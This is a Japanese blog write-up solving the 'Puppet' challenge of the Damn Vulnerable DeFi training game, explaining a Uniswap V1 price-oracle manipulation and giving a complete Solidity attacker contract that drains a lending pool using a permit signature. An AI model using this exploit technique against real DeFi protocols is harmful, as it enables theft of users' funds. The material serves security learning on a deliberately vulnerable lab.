banner
zach

zach

github
twitter
medium

ダム・ヴァルナラブル・ディファイ | パペット

チャレンジ#8 - パペット#

Solidity と Foundry のシステム学習のために、私は Foundry テストフレームワークを使用して、damnvulnerable-defi の解答を再作成しました。ご意見交換や共同開発をお待ちしています〜🎉

コントラクト#

  • PuppetPool:ユーザーが ETH を使用してトークンを購入するための borrow メソッドを提供します。トークンの価格は uniswap から取得されます。

テスト#

  • DamnValuableToken コントラクトをデプロイし、UniswapV1Factory と UniswapV1Exchange コントラクトをデプロイし、exchange の初期化を完了します。
  • PuppetPool コントラクトをデプロイし、DamnValuableToken と UniswapV1Exchange コントラクトを渡します。
  • UniswapV1Exchange にトークンと ETH の 1:1 の流動性を提供します。
  • player と pool コントラクトのトークン残高をそれぞれ PLAYER_INITIAL_TOKEN_BALANCE と POOL_INITIAL_TOKEN_BALANCE に設定します。
  • テストスクリプトを実行します。
  • player の nonce が 1 であり、pool のトークン残高が 0 であり、player のトークン残高が POOL_INITIAL_TOKEN_BALANCE よりも大きいことを期待します。

解答#

この問題の解答方法は前の問題と似ています。pool の borrow メソッドで uniswap をトークンの価格オラクルとして使用しているため、攻撃のアプローチは uniswap のトークン価格を操作して pool でトークンを低価格で購入することです。

この問題では uniswap v1 コントラクトが提供されており、コントラクトの abi とバイトコードのみが与えられています。まず、uniswap v1 のインターフェースと使用する必要があるメソッドを整理します。

// トークンを売却してETHを取得するための計算
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
// トークンを購入するために必要なETHの計算
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256);

完全な攻撃フローは次の図に示すようになります:

  • 最初のステップでは、tokenToEthSwapInputを呼び出して手持ちのトークンを売却し、ETH を取得します。これにより、uniswap でのトークンの価格が下がります。
  • トークンの価格が下がった後、lendingPool.borrowメソッドを呼び出して、低価格でトークンを購入します。
  • 最後に、ethToTokenSwapOutputを呼び出して、手持ちの ETH でトークンを購入し、uniswap でのトークンの価格を回復します。

image

これらの 3 つのステップを 1 つのトランザクションで実行することで、player は lendingPool のすべてのトークンを取得し、攻撃目標を達成することができます。

具体的な実装では、承認のステップに注意が必要です。なぜなら、問題では 1 つのトランザクションで完了する必要がありますが、uniswap を使用するためには approve が必要であり、player から攻撃コントラクト、uniswap への 3 段階の approve が関係しているため、1 つのトランザクションで実現することはできません。

しかし、DamnValuableTokenの実装コードを見ると、ERC20 プロトコルの拡張であるEIP-2612 LOGICが実装されていることがわかります。これには、ユーザーがオフチェーンで事前に署名し、チェーン上で検証することで、代理 approve のメカニズムを実現する permit ロジックが含まれています。詳細については、別の記事を参照してください。

完全なコントラクトコードは以下の通りです:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/puppet/PuppetPool.sol";
import "../../src/DamnValuableToken.sol";

contract Attacker {
    DamnValuableToken token;
    PuppetPool pool;

    receive() external payable{} // uniswapからETHを受け取る

    constructor(uint8 v, bytes32 r, bytes32 s,
                uint256 playerAmount, uint256 poolAmount,
                address _pool, address _uniswapPair, address _token) payable{
        pool = PuppetPool(_pool);
        token = DamnValuableToken(_token);
        prepareAttack(v, r, s, playerAmount, _uniswapPair);
        // トークンをETHに交換する--> uniswapでのトークン価格を下げる
        _uniswapPair.call(abi.encodeWithSignature(
            "tokenToEthSwapInput(uint256,uint256,uint256)",
            playerAmount,
            1,
            type(uint256).max
        ));
        // puppt poolからトークンを借りる
        uint256 ethValue = pool.calculateDepositRequired(poolAmount);
        pool.borrow{value: ethValue}(
            poolAmount, msg.sender
        );
        // uniswapにトークンを返済する--> uniswapでの残高を回復する
        _uniswapPair.call{value: 10 ether}(
            abi.encodeWithSignature(
                "ethToTokenSwapOutput(uint256,uint256)",
                playerAmount,
                type(uint256).max
            )
        );
        token.transfer(msg.sender, token.balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal {
        // プレイヤーのトークンを攻撃者のコントラクトに転送する
        token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v,r,s);
        token.transferFrom(msg.sender, address(this), amount);
        token.approve(_uniswapPair, amount);
    }
}
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。